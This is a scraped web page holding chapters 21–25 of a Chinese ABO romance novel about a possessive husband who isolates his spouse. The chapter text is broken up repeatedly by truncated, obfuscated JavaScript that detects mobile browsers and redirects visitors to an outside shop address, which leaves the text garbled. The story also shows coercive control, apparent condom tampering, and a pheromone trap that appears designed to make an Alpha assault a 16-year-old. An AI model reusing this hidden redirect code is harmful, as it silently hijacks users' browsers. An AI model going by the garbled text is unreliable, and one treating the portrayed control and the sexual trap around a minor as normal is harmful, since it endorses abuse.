RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739301|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重明被难倒了。 他对历史上杰出数学家的奇闻轶事倒背如流,但至今不知道《罗密欧与朱丽叶》和《梁山伯与祝英台》有什么区别——他甚至一度认为前者是后者故事的英译版本。但无论哪一个,他都没看过就是了。 “我还想听你以前在台球厅工作的事。”庄兆又提出另一个选择,“那里的老板对你好吗?他是个什么样的人?” “老板对我很好。”应重明徐徐回忆,“是一个……很会伪装自己的Omega。表面上能跟所有人称兄道弟,谈笑风生,什么都毫不在意,其实内心很脆弱。” “你怎么知道的呢?” “我见过他哭。大多数时候都是在思念情人,他女儿的父亲。” 应重明道,“用现在的话说,他是个恋爱脑的Omega,因为放不下情人就冒死生了孩子,独自抚养长大。” “那他的情人是什么样?”庄兆觉得这渐渐听起来像是个爱情故事了,“你见过吗?” “当然见过。”应重明自然地说。 还亲手捅过呢。 刀柄沾了血会打滑。 他用握过刀的手给庄兆稳稳地拉好被子,裹得只剩个脑袋露在外面。庄兆一脸懵懂地对他眨眼,“长得好看吗?老板那么喜欢。” “还行。是个Alpha,上过几年学,但不务正业,跟在当地的混混身边做打手。” 应重明忍不住叹一口气,“后来还是父女相认了,老板执意要关了店带着女儿跟他走,我怎么劝都没有用。” “为什么要走呢?台球厅挣不到钱吗?” “不,是那个Alpha欠了很多债。把店卖掉也还不上,所以他们打算干脆带着钱逃走。” 爱情故事变成了犯罪故事。庄兆皱着眉毛,“那你怎么办?” “老板介绍我到另一家店工作。”应重明也把自己裹成一颗茧。两个人紧挨着安详地躺在一起,说着睡前小话。 “我劝了很久,甚至说跟他们一起走。那个Alpha并不可靠,也根本就不会照顾小孩。但他不要我。” 应重明模仿着那种至今想来,仍旧令人困惑的语气,“他对我说,‘重明,你在哪里都能活得很好。你很聪明,但是没有爱一个人的能力。’然后就走了。” “什么?”庄兆听到有生以来最大的谬论,不假思索地反驳,“他是错的,你有。你很会爱我。” 21.第 21 章 “哦,”应重明笑意溢出眼底,“真的这么想?” “当然。” 庄兆认为这个谬误甚至都不值得讨论,“后来他们还是把你留下了吗?去了哪里呢?” 去了哪里呢。 应重明眼前无端地蒙上一层红光。 寒意顺着背脊往上爬。他伸手给庄兆掖了掖被角,淡声道,“我也不知道,大概是很远的地方吧。” 故事可惜地结束了。庄兆惆怅叹气,过了几秒钟,忽然提出,“我想学开车。” 应重明一怔,“什么?” “我要开车。” 以为他是真的没有听清楚才会问,庄兆很有耐心地重复,宣布自己今天刚做出的决定,“我准备去考驾照。而且我要一辆新车,你来帮我挑。” 其实他比起小时候已经有了很大的进步,即便无法避免应激反应的发生,却可以更快地调整情绪。 离开餐厅不久他就冷静下来了。所以回家的路上他就在想,如果他有自己的车,再出现今天的情况,他也可以躲到车里冷静一下,然后出来继续。而不必直接躲回家里。 应重明会理解他。或许他的朋友也可以接受他的怪异,允许他时不时地离开一下,把聚会分成一段一段的进行下去。 这是他想出的可以解决问题的方案。 “……宝宝,”应重明是一定要问的,而且声音异常轻柔,“想要车,是想去哪里呢?任何地方我都可以带你去,不需要自己开车那么辛苦。” 庄兆看着他没说话,却神神秘秘地露出一个笑。 想学车的理由当然不只一个。 开车是很辛苦。如果他也会开,就意味着以后再和应重明出门,副驾驶位可以轮流坐。 他也可以送应重明去上学了。那一定是很有成就感的事,他想一想心情就十分美妙。 “不告诉你。”庄兆保持神秘,扎进被窝里,“我要睡觉了。记得帮我选一辆很酷的车。” “好吧。”应重明只得无奈道,“我永远没办法拒绝你的任何请求。” “嗯。”庄兆说,“我相信你。” 一如既往,毫无保留。 应重明常听到他说这句话,只是不确定自己是否也对他说过。 或许有吧,但他对庄兆撒过的谎太多,也不缺这一个。 他不相信任何人,包括庄兆。但这不是庄兆的错。 不是庄兆的错。但是庄兆为什么想要车,想要一辆随时可以离开他的工具呢? 他从不要求任何回报,只要庄兆心无旁骛地留在他身边就可以了。这是很困难的事吗? 不,不是庄兆的错。全都不是庄兆的错。 是有人在恶意地煽动庄兆,就像进入伊甸的那条毒蛇。庄兆是生长在他身上的珍贵而唯一的苹果,却受到毒蛇诱导,摇欲坠落。 几个呼吸之间做好决定,应重明心情稍微恢复了些,探身把庄兆捞进怀里,落下一枚轻吻,“晚安,宝贝。” 他不能容忍任何人垂涎他的苹果。 ** 连续三天遭到骚扰,赵晋扬有点烦躁。 “你和庄兆不是同学吗?”季明度往他身边一坐,环顾教室。再次扑空,有些气馁,“为什么他不在?” “我们不是每节课都要一起上的。” 赵晋扬拧着眉毛,碍于朋友的面子又不好驱逐,只觉得这小孩身上香得过分,主动离远了些。 他是玩心有点重,所以一开始见到庄兆就想挑逗几句,但知道人已经结婚后就兴趣全无。 更何况应重明临走时那个要杀人的眼神,让他心里犯怵。 他家里条件也就那样,有点小钱,但没富到能让他为所欲为。玩归玩,他可不想给自己惹麻烦,万一影响毕业就糟了个大糕。 本来他跟庄兆的交情就没多深,说实话连朋友都算不上。哪怕确实觉得那对新婚夫夫的情况有点诡异,也只能让庄兆自求多福了。 但这小Omega一直来找他。不仅跟他骂了一整顿饭,还擅自把他划分到所谓的拯救者同盟里。 赵晋扬连听三天,耳朵都要被磨出茧子,“这么关心,你喜欢庄兆?” 季明度毫不脸红地反问,“你难道不喜欢么?” “哈?”他可一点都不想被扣上这顶帽子,“我只是觉得他……” “很特别,对吧?他是与众不同的。” 季明度捧着下巴,“我对他一见钟情了。” 赵晋扬:“……” 他不知该作何评价。只能说小孩就是天真啊,“你醒醒吧,人家已经结婚了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755064|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道啊,我又没说要立刻抢过来。” 爱上别人的老公也不是个办法。季明度也很苦恼。 但他尚在中二期,还有点犯骑士病,“你没看到小庄哥的反应么?被我们一提醒,他也很震惊很无措,这里面肯定是有问题的。” “那你打算做什么?你能替他解决这个问题?”赵晋扬说,“劝你别多管闲事,应重明没有表面上看起来那么好说话。” “我当然知道!我看人的直觉很准的,见他第一面就知道他不是什么好人。” 季明度一丝不苟地规划,“所以我们必须要找机会把小庄哥单独带出来,在脱离他掌控的环境里,才能正常对话。否则还会像周末那样被他打扰……” “别!别我们。”赵晋扬打断他并声明,“你是你。” “你?!”这么多天的口舌都白费了。他眉毛一横,脸上写满了失望,气冲冲地站起来就往外走,“不想帮我算了,亏我还以为你是个讲义气的人!” 赵晋扬没有叫住他。 他冲到走廊上,立刻放慢了脚步,超绝不经意地回头看了两回。居然真的没有人追出来。 那点佯装的怒意变成了真实的懊恼。季明度拉着脸继续往外走,准备去图书馆碰运气,一路又拒绝了两个搭讪的Alpha,心情变得更糟。 这种糟糕的心情在他刚进入图书馆,就在门口见到应重明时到达了顶峰。 他正想调头走人,应重明居然主动招手,打了招呼,“这么巧?我还在想怎么才能见到你。” “你想见我?”季明度狐疑地打量。 平心而论,应重明有一副欺骗性很强的外表,高大俊朗,人畜无害。最关键的是,他看起来一点也不符合当下官方对Omega的定义。 但信息素不会骗人。 “两个Omega是没有未来的。”季明度说。 “你误会了。”应重明笑起来,绅士道,“我没有任何背叛伴侣或是冒犯你的意图,只是找你聊一聊。” “听小兆说你打算申请我的学校和专业,或许我可以作为前辈给你一些建议。请你喝杯咖啡可以吗?” 好诡异。 季明度心中警报拉响,但不会放过这次刺探敌情的机会,“好啊,那我请你。” 22.第 22 章 季明度中文成绩不怎么样,却也知道有个歇后语,叫黄鼠狼给鸡拜年。 应重明肯定已经知道他喜欢庄兆了,必不可能安好心。 “我有位关系不错的同学,家族产业是医药集团,也一直在为学校的实验室做大额资金支持。所以,两边的科研进度几乎是同步的。” 应重明道,“或许他家里的研究所还要更先进一些。毕竟,学校这边的科研成果一定会输送过去,但他们无需和我们分享成果。” 季明度并不了解医药行业,保持怀疑态度,“那又怎样?难道你能让我去参观?” “不只参观。我可以说服他,让你以实习生的身份进入研究所学习,或许还有机会亲自体验最新的技术成果。” 应重明有技巧地停顿,以一种委曲求全,息事宁人的口吻说,“只要你和庄兆保持距离,不要再约他出门。可以吗?” Omega茶香的信息素徐徐散开,随主体的情绪波动,远没有之前闻到的那么刺鼻了。季明度恍然意识到。 应重明是在向他示弱。 十六岁少年的虚荣心被悄无声息地挑了起来。 季明度本来就是被捧着长大的,会讨长辈欢心,也习惯得到各种大人小孩的讨好。对这套路再熟悉不过。 再加上,他确实对应重明说的研究所感兴趣,“你的意思是,在那里我有机会比别人更早接触,甚至使用还没上市的Omega抑制剂?” “没错。”应重明笃定道。 “我们都是Omega,你应该也知道那种感觉,所以我也一直在等这个机会。并且可以保证,我有多快拿到新药,就能让你多快用上。” 即使还有防备,季明度对这种晓之以理动之以情的套路,也难免动摇。 体验最前沿的科研成果,本来就是走在别人前面的爽事。更何况,他本身就很讨厌Omega发情的感觉。 “好吧,如果你说的是真的,我答应你。”他双手环胸,“不过还要先去参观过,才能决定。” “当然,我来帮你安排时间。”应重明试探道,“那你可以不要再约庄兆了吗?他不喜欢出门,在外面会很不自在。” “好。”季明度一口答应。 反正科研所他一定要去,至于庄兆…… 他可以不把庄兆约出来。 但如果庄兆想见他,或者叫他去家里玩的话,那他也没办法拒绝啊。 他依然觉得应重明可恶,但又多生出了点可怜。 用这么多手段,只为了留住另一半的心。 如果庄兆真的爱他,哪里用得着这么防备别人呢?归根结底是感情有问题,是不自信。 “在我姐放冬假之前,我都会留在美国玩。时间很充裕。”季明度站起来伸了个懒腰。清甜的信息素香味在空气中逸散。 真恶心啊。应重明想。 一条散发着茉莉花香的毒蛇。 “好,那就这样。谢谢你的咖啡。” 应重明也起身,瞥了眼完全没动过的杯子,露出微笑,“和你聊天很愉快。” 季明度哼了一声,拎起自己的限量款刺绣牛仔外套,穿衣走人。 应重明没离开,换地方重新点了杯饮料,一边看文献一边等庄兆下课。 季明度或许可以申到他的学校,但不可能进入他的组。 学校实验室的监管力度更严格,发生点什么他有连带责任。家族企业就没这么透明了。 如果季明度在那里出了意外,是死是活都跟他没关系。 赵晋扬更好解决。只是个普通留学生。 应重明脑海中思绪繁杂,阅读文献的速度堪比蜗牛爬行,半晌,索性关掉。 这两个人并非有多难应付,只是让他意识到,以后还会有类似的,更多的人来诱惑庄兆。 他又不能真按自己的心意把庄兆永远关在家里,只能见到他一个人。外部的危机是不可控的,他或许永远解决不完。 所以,他只能从内部着手。增加筹码,来让庄兆更离不开他。 黄昏时刻。 庄兆今天下课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768095|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点晚,但过得还不错,抱着书坐进车里,例行亲吻了他一下,“冰激凌,冰激凌冰激凌。” 应重明笑着从车载冰箱里拿给他一杯。等他吃完,又递给来一只没有任何标识的纸盒。 “是礼物吗?”庄兆打开盒子。里面是他用3D打印机做的两个玩偶,“哇。” 应重明答应过的,亲手设计,调整了几十个版本。虽然现在他们每天都睡在一起了,但陪睡玩偶还是如约做了出来。 庄兆不知道他是怎么做到的。玩偶明明是两张娃娃脸,但是细节特征组合在一起呈现出的最终效果,让人一看就能认出他们两个。 代表应重明的玩偶稍微大一号。在他的提示下,庄兆惊讶地发现这个玩偶身体可以打开。像俄罗斯套娃,里面装了一个十分迷你的小人。 “我的也可以打开吗?”他又好奇地去拧自己的玩偶,发现并不可以。 庄兆把小人捧在手上观察,“为什么你的身体里有一个小女孩?” “女孩不好吗?”应重明说,“你本来也更喜欢妹妹。” “嗯……好吧。” 庄兆点头表示肯定,但还是觉得这个设计有点奇怪,就把套娃装了回去,不打算拧开玩。回去把玩偶摆在床头,他只看外面的应重明就好。 因为现在他不住宿舍了,所以两个玩偶可以摆在一起。 庄兆回到家就干了这一件大事。 他们放安全套的柜子也在床头,拿取时往往神志不清,容易把这一片的小东西都碰倒。他反复调整位置和角度,确保两个玩偶不会被波及。 最终的摆放效果令他满意。q版的他们依偎在一起,看起来舒适又安全。 没想到这天晚上,应重明从新的地方拿出了新的安全套。 庄兆即使神志不清,凭借优秀的视力也足以发现,这一盒的尺码比平时用的要小一号。 再加上应重明的手已经碰到他。庄兆红着脸瑟缩了一下,十分的疑惑,“这个是给我用的么?” 他好像没有这个需要。 23.第 23 章 “体验一下?”应重明给他戴好,半跪在床边,仰起头朝他笑,好一张迷人心魄的脸。又低头轻吻,含糊不清地吮住他,“宝宝,好漂亮。” 庄兆被哄得晕头转向。 他向来是被服务的一个,不懂什么花样,只需要享受。应重明恰好也不需要他懂,只要他享受就会很开心。 只要不是太过分的花样,他都可以接受。因为是应重明,所以他也不会为自己的失态感到羞愧。毕竟十几年前就见过他把裤子尿湿的样子,长大后只会应付得更游刃有余。 稍微缓和后,应重明把他用过的套摘下来,骨节分明的手指利落地打了个结。不知为何,放进垃圾桶的动作有些小心。 庄兆眼睛短暂注意到了这一幕不同寻常之处,脑子却并不清楚。很快被第二波激情席卷,就彻底忘了个干净。 他不知道应重明是从哪里找来那么多口味的安全套,在一整周时间里,每次给他用的都不重样。以至于他一度怀疑,自己的伴侣或许是解锁了什么新型异食癖症状。 好在这阵异食的热情没有持续很久,就随时间淡去。庄兆也得以从荒淫无度的生活中幸存,提交材料审核的同时,开始准备笔试。 他下定决心要考驾照,消息传回家,爸妈也很支持,为表鼓励给他买了一台新款保时捷。 车型是应重明挑的,他只负责选了自己喜欢的颜色,在正式拿到驾照之前,这台车就停进了他的车库。 庄兆顺利通过笔试,拿到许可证后开始积累练车时长。他平衡能力不好,从小不爱运动也没学过骑自行车,驾驶汽车还是第一次,体验感出乎意料的还不错。 他对此有些上瘾,回到家还时常意犹未尽。但还没拿到驾照就不能开车上路,他非常遵守规则,即使应重明说可以不告诉别人,就他们两个在封闭路段偷偷开几圈没关系,他也还是拒绝了。 因为应重明在他车上,他必须对伴侣的生命安全负责。 他只是会在夜深人静的时候,悄悄去自己的新车里坐一会儿,提前过过瘾。 应重明觉得十分可爱,但担忧他是否在借机寻求独处时间。 他不希望庄兆有那么多独处时间。 如果不是庄兆从小就钟情于数学,在遇到他之前就已经充分确定,他也不会允许数学把庄兆夺走。 他会尽全力地说服庄兆和他读同一个专业,同一所大学,增加更多的相处时间。最好庄兆每一分每一秒在做什么,他都能知道。 而现在,这张小小的驾照很有可能改变他们的生活。万一以后庄兆不再需要他接送怎么办?甚至再有同学约会,都可以说走就走,不必经过他的允许。 发情期即将到来。信息素失衡加重了他的敏感多疑,而他自己很难控制。 他有种强烈不安的预感,于是提前告诉庄兆,接下来的几天自己或许会变得很讨厌。 “怎么会呢?你是全世界最讨人喜欢的小孩。” 庄兆也会用类似跟小朋友交流的语气说话。赞美和鼓励人的话术都是从他那儿学来的。 应重明得寸进尺地试探,“哪怕我对你发脾气,或者做错别的事……任何事,都不会讨厌我吗?” 很罕见的假设。庄兆回想过去二十年人生,哪里有应重明对他发脾气的时候呢?也实在想不到有什么事能严重到让他讨厌。 他习惯要求严谨,但应重明值得他无限地包容,不用考虑太多。 于是他点头,“是的,任何。” ** 庄兆在第二周通过路考,顺利拿到驾照。 季丝丝特地来学校找到他,说应该再一起吃顿饭,好好庆祝一番。顺便也要向应重明表达感谢,为她的弟弟操心,做了这么多。 庄兆这时才知道应重明帮人和研究所牵了线,觉得他相当善良又低调,“你真贴心。” “举手之劳。” 应重明提议,“不如邀请他们来家里吃饭?这样你也会舒服很多。” 他们还没邀请过任何同学或朋友到家里做客。 庄兆慎重考虑后,决定接受这个新挑战,“好的。一定有许多事情需要准备,我也能帮上忙对不对?现在我会开车了。” “当然。”应重明答应给他表现的机会,“我们一起去超市,你来开车。” 当然要一起。庄兆拿到驾照后的首次上路,是在一个平常的早晨,平稳地把车开到了应重明的学校。 这是有史以来,第一次由他目送应重明上学。自豪感油然而生。 下课后庄兆没有去图书馆,比平时更早地离开校园。因为他要开车去接自己的另一半放学回家。 半路遇到谭乐盈,她十分惊讶,“原来那台冰蓝色的保时捷是你的车?” “嗯!” 庄兆看到季丝丝在她身边。果然爱人就是要接彼此放学的,他十分欣慰,大声地打了招呼,“你们好!再见!” 季丝丝被萌倒了,“他真可爱。” 面无表情地释放友好,传说中的冷脸萌。她又想了想,“就是有点过度依赖应重明,好像什么事都听他的。” “过度依赖?”谭乐盈搂着女朋友,摇头晃脑地说,“不哦,我觉得庄兆是个很有主见的人,思路清晰,不会被轻易控制想法。” 她和庄兆做同学的时间长,了解也更多些。 庄兆可是连上课要走哪条路,几点几分到教室都会严格规划的人,婚姻这种大事必定是会深思熟虑的。因为一时冲动或被人诱骗去结婚,怎么想都不太可能。 只能说,每对情侣都有自己独特的相处模式。 “可是明度那孩子……”季丝丝想到不按常理出牌的弟弟,有些头疼。 “小孩子贪玩正常,就得等他自己跌了跟头才会长记性,知道什么事不能乱来。” 谭乐盈倒不怎么担忧,搂着她的腰轻轻一握,“好了宝贝,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811257|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们现在的任务就是挑一支好酒,然后等到周末,高高兴兴去玩。” ** 为了迎接周末,庄兆家里被打扫一新,准备了丰盛的晚餐和零食酒水,桌游和小礼物,又让管家提前打开恒温泳池,放上香槟。像一场小型派对。 他甚至听到应重明嘱咐阿姨,把所有客房都整理出来,还给每个房间都配备了换洗衣物和急救包。以便朋友玩嗨或玩累随时可以休息。 急救包里除了基础药品,还有抑制剂,紧急避孕药和安全套。庄兆佩服他的细心,“Omega抑制剂已经做出来了吗?” “还没有。这是以镇定成分为主的通用药,效果没有那么好,只能起到缓解作用。”应重明解释。 “不过她们是情侣,即便不巧赶上发情期,也用不着抑制剂。备着急救包只是以防万一,等正式的抑制剂问世,我会再更新里面的配置。” “明度说也会来,”庄兆道,“还说要亲自向你道谢呢。” 最近季明度和他联系频繁,明显并没有把上次谈话当回事,心思昭然若揭。 应重明面色如常,淡定道,“我知道。他还告诉我要带个朋友过来,你有头绪会是谁吗?” 庄兆一怔,摇了摇头,“他没有告诉我这个。” 季明度的朋友,应该也是十来岁的小男孩吧。 他不太想自己家里进入陌生人。不过对方是小孩子的话,他还会拿出成年人的包容,“那他们也要留下过夜吗?” “或许吧。”应重明安抚他,“别担心,我们有很多房间。” 季明度的朋友并没有那么神秘。 周六晚上,赵晋扬不情不愿地被他拉上跑车。 “别忘了,我们这次来可不是为了玩的。”季明度舔了舔小虎牙,戴上墨镜,也挡不住张扬得意的神气,“重申一下行动要点。” “……把应重明灌醉,把庄兆偷偷带走。”赵晋扬看他穿一身黑,还真把自己当特工似的,“你觉得可能吗?” “为什么不可能?只要你听我的话。” 季明度势在必得,“我想做的事从没有做不成的,看人从没走眼过。抑制剂就在我车上,等你帮我办成了事,立刻就给你。我们这是双赢。” 这么短的时间里,他居然能进入全球排名前三的制药公司研究所实习。 赵晋扬没怀疑他手上有未上市抑制剂的真实性,只是对交易的内容仍然顾虑,“就算能搞定应重明,你确定庄兆会跟你走?先说好,绑人是违法的。我只负责给你打掩护,再多的不干。” “胆小的Alpha。”季明度嗤之以鼻,“我当然确定!我们很聊得来。他早就想做出改变了,只是缺少一个机会。” 跑车在林荫大道上风驰电掣,远处别墅山庄灯火通明。 应重明望着两排逐渐接近的光点,夜风中深黑的眼眸微微敛起,抿出一丝冰冷的笑意。 “欢迎。” 24.第 24 章 庄兆也曾经参加过一次同学家举办的派对,印象中不算美好,但也没留下什么阴影。 那天晚上人很多,穿得很少,挤来挤去,音乐很大声。挤过去的不知道是谁,他不会游泳,差点被撞进泳池。 还好应重明没被朋友们拉走,一直在他身边,眼疾手快地抱住了他。 他确实有被吓到,但认为是派对里人太多导致的意外,也不记得那个冒失的男孩长什么样子,叫什么名字。 直到隔天在学校里又遇见,那男孩低眉顺眼,主动来向他道歉。 老实说他的发言颠三倒四,态度也有些别扭。 庄兆好险没听懂是在讲什么,不过试图道歉的意思有接收到,加上自己也没有受伤,就给予了原谅。 “他说他是故意推我的。”庄兆说,“他真奇怪,我都没跟他讲过话。” 他反思自己的行为动作,或许是哪里没控制好,表现出了不正常。但应重明说,“一定是因为嫉妒你刚刚收到了MIT的录取通知。” 无论有没有受伤,只要被证实了动机不善,就应该道歉。 庄兆接受并记在了心里。 现在他依然不会游泳,不过看朋友们戏水也很有趣。晚餐后在泳池边聊天,温度有些低,应重明也没有下水。 谭乐盈晚上有点喝high了,非要展示自己高超的自由泳技巧。怕她打滑抽筋,季丝丝寸步不离地跟着,两个人在泳池的另一边你侬我侬。 岸上才冷。泳池里的水温很舒服,季明度游了两圈,趴在池边挑衅道,“重明哥哥,你怎么不下水啊,总不能连游泳都不会吧?” 应重明委婉道,“特殊时期,不适合剧烈运动。” 赵晋扬闻言一愣,在水里仰起脸嗅了嗅。Omega的信息素变化,总是Alpha能最敏感地觉察。 季明度跟他交换眼神,得到确定的答案后,语气迷之振奋,“啊?你是不是那个什么期快到了?要好好休息啊。” 你的老公就由我来照顾吧。 本来晚餐时没什么机会把他灌醉,还在郁闷,这下季明度可满意了。Omega在发情期各项身体机能都会下降,四肢无力,反应迟钝,陷入虚弱状态。 简直是天赐的好机会。 庄兆也努力地闻了一会儿,收效甚微,“为什么我没有发现呢?” “宝宝,你对信息素不敏感。” 在室外空旷的地方,香味本就没有那么浓郁。应重明笑着抚过他额前的碎发,“想闻一下吗?我们可以到房间里去。” 庄兆想了想,点头,“我也要闻一下。” Omega动情时信息素分泌更浓郁。鬼都知道他们要去房间里做什么,季明度当机立断,大喊一声,“姐!小庄哥哥家里是不是有家庭影院?我们去唱歌吧!小庄哥哥可以吗?” “可以的。”庄兆回答他。要尽地主之谊,“游戏室都整理好了,所有设备你们都可以玩。” “那你喜欢唱歌吗?我们一起吧,我还没听过你唱歌呢。”季明度连忙从池中起身,带起一路水花。 少年清瘦的身躯洁白如玉,在夜幕灯光下青涩动人。 赵晋扬轻咳一声,移开视线,心道这小Omega未免也太大胆了,当着面就敢勾引人家老公。 应重明目睹这一切,竟然依旧面带微笑,脾气好得不像是个正在被撬墙角的男人。 “我不会唱歌。”庄兆诚实道,“我不懂音乐。” “没关系!我姐姐是学音乐的,她很会教人唱歌。”季明度披上浴巾,有意无意地挤开讨厌的人,走到他身边,“我也很会唱歌呢,我跟你一起唱。” 家庭影院里配备了专业级音响,墙壁是特殊材料,回声效果宛如演唱会现场。 庄兆对自己的评价是客观公正的,说不会就是不会,五音不全,找不到调。但他既然开始了就一定要唱完,绷着脸握着麦克风,一本正经地跑调,显出几分执拗的可爱。 “听说数学好的人,一般音乐都会更有天分呢。”季丝丝揶揄道。 庄兆有些羞赧,但表情没有太大变化,很有风度地把麦克风递给谭乐盈,“这条定律只适用于一部分人。” 他的确成长了很多,和朋友待在一起算得上融洽,再也不是那个与人交谈时焦虑不安,不敢看对方眼睛的小男孩了。 也不再需要应重明的帮助。 应重明冠冕堂皇地想,这是好事。 只是看着他被人围在中央,心底滋长的情绪如果掏出来摆开,没有一条可以见光。 谭乐盈今晚玩得很尽兴,唱跳俱佳的表现连庄兆都看惊,频频鼓掌。 她唱完一首,忽然一屁股坐在应重明身边,朝他肩膀拍了一巴掌,“哥们你不对劲。” “……” 应重明面无表情道,“关你什么事。” 他的声音没有一点温度,也完全不像是印象里那个应重明会讲的话。只是谭乐盈半醉半醒,刚要感到诧异,看到自己爱的歌要开始了,又跑去超大银幕底下继续唱跳。 庄兆要睡觉的时间已经到了,今天因为有朋友来,推迟了半个多小时。但生物钟起着作用,他打了个哈欠,应重明适时起身,陪他回卧室休息。 “小庄哥哥!”跟着走太显眼了,也没法解释。季明度只能在他离开时凑上去,压低声音快速道,“你的房间在二楼对不对?待会儿我去找你,有很重要的事情要跟你说。” 音乐声很大,他为了防备应重明,嗓音又特意压低。庄兆只听到他有事情要说,颔首道,“好的,明天见。” 主卧是改造过的,是二楼的核心区域,很好认。季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885130|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明度留下来又玩了一会儿,不停地对赵晋扬使眼色。 赵晋扬着实是不想趟这浑水,但新型抑制剂的诱惑力太大。他权衡着利弊,心想要是情况不对,大不了及时抽手。 万一庄兆真被说动了,他俩挽救被困婚姻的失足青年,也算皆大欢喜。 时间接近零点,剩余四人也散场,各自到客房休息。 季明度叫他在后面跟着,只要庄兆意愿松动,就立刻下楼,连夜离开这里。为了开车,赵晋扬晚上绞尽脑汁地想借口,滴酒没沾。 “我任务会不会太多了。”他踩着走廊上绵软的地毯,心里感慨这两个少爷挺会享受,“万一应重明发现了出来拉扯,我又得拦着他又得开车?还有你两个姐,打起来她们帮哪个。” “诶!你怎么想那么复杂,思虑过多是行动的绊脚石。”季明度坚信,只要他把打听到的关于应重明的事情跟庄兆一说,庄兆就肯定会跟他走的。 “应重明发情期到了正虚弱,又是在半夜三更,睡得迷迷糊糊的时候,你一个Alpha撂倒他还不是轻轻松松?大不了把他打晕,然后再下来开车。” 主卧到了。季明度深吸一口气,放轻动作敲了敲门,然后他发现,门居然只是虚掩着,“……小庄哥哥?” 他下意识以为是庄兆留的门,心里一喜,推开走进主卧,一眼就看见那张大床。被褥凌乱,却没有人。 窗户紧闭着,房间里有浓郁的异香,掺杂着应重明那股恼人的绿茶味信息素气息,但还有别的什么…… 赵晋扬站在门口,才吸了一口,香气直打脑壳,“靠,发情的Omega信息素这么猛。他们怎么不在这儿?” 季明度快步走到套房的洗手间看了眼,也没有人。回头看他不太清醒的样子,目光鄙夷,“你不会对他的信息素也有反应吧,好恶心。” “啧,哪个Alpha来了能没反应?” 何时是有反应。赵晋扬用力晃了晃头,觉得这反应也忒剧烈了些,他甚至已经浑身发热,腺体积极地分泌信息素回应,“没人……还是走吧。” “等等,我问一下他在哪。” 季明度尚未察觉危险,拿出手机给庄兆发消息。 赵晋扬看着他站在那里低头打字,露出一截白皙的脖颈,仿佛都能看清楚皮肤上细小的纹路。 他扶着门框喘息,不知为何,喉咙异常地干渴,喝光整个泳池也不够,身体不受控制地朝着季明度走去。 刚走了一步,后背被人大力踹了一脚,他毫无防备地往前扑倒,重重地跌在地上,“……卧槽!” “……干嘛啊!吓我一跳。”季明度也惊了一下,连忙上前想要扶他,“你怎么了?” 赵晋扬抬起头,回应他的是一双迅速泛红的眼睛。 以及背后清脆的上锁声。 25.第 25 章 听到异响,庄兆挣扎了好几下,才从被子里探出头来。 或许是发情期的影响,这天晚上应重明格外动情,抱他抱得很紧,仿佛一秒钟都不想放开。做了两次精疲力竭,他呼吸都有些困难,床上湿得厉害,被抱到另一个房间来睡。 这种情形从前也出现过,庄兆不疑有他。可才睡了一会儿,他被外面的动静吵醒,发现身边空无一人。 撞击声持续传来,似乎距离他没有多远。庄兆感觉全身都在抖,手脚不听使唤地下了床,四肢僵硬得无法正常行走。 应重明为什么不在这里?为什么要把他一个人留在房间? 他看过一些校园枪击案和入室抢劫的案件新闻,知道有些人会无差别地制造恐怖袭击。应重明去年考到了持枪证,家里也有武器,但是万一坏人很多呢?他一个人对付不了怎么办? 基于本能反应和成长中得到过的嘱咐,庄兆第一时间的想法都是——先躲起来。 他顾好自己,才能给应重明减轻后顾之忧。应重明把他留在这儿一定也是因为待在房间更安全。 可是应重明会有危险!他甚至还在Omega最虚弱的发情期。庄兆努力驯服四肢,找到每个房间都有准备的急救包,里面有能暂时应付发情期的药剂。 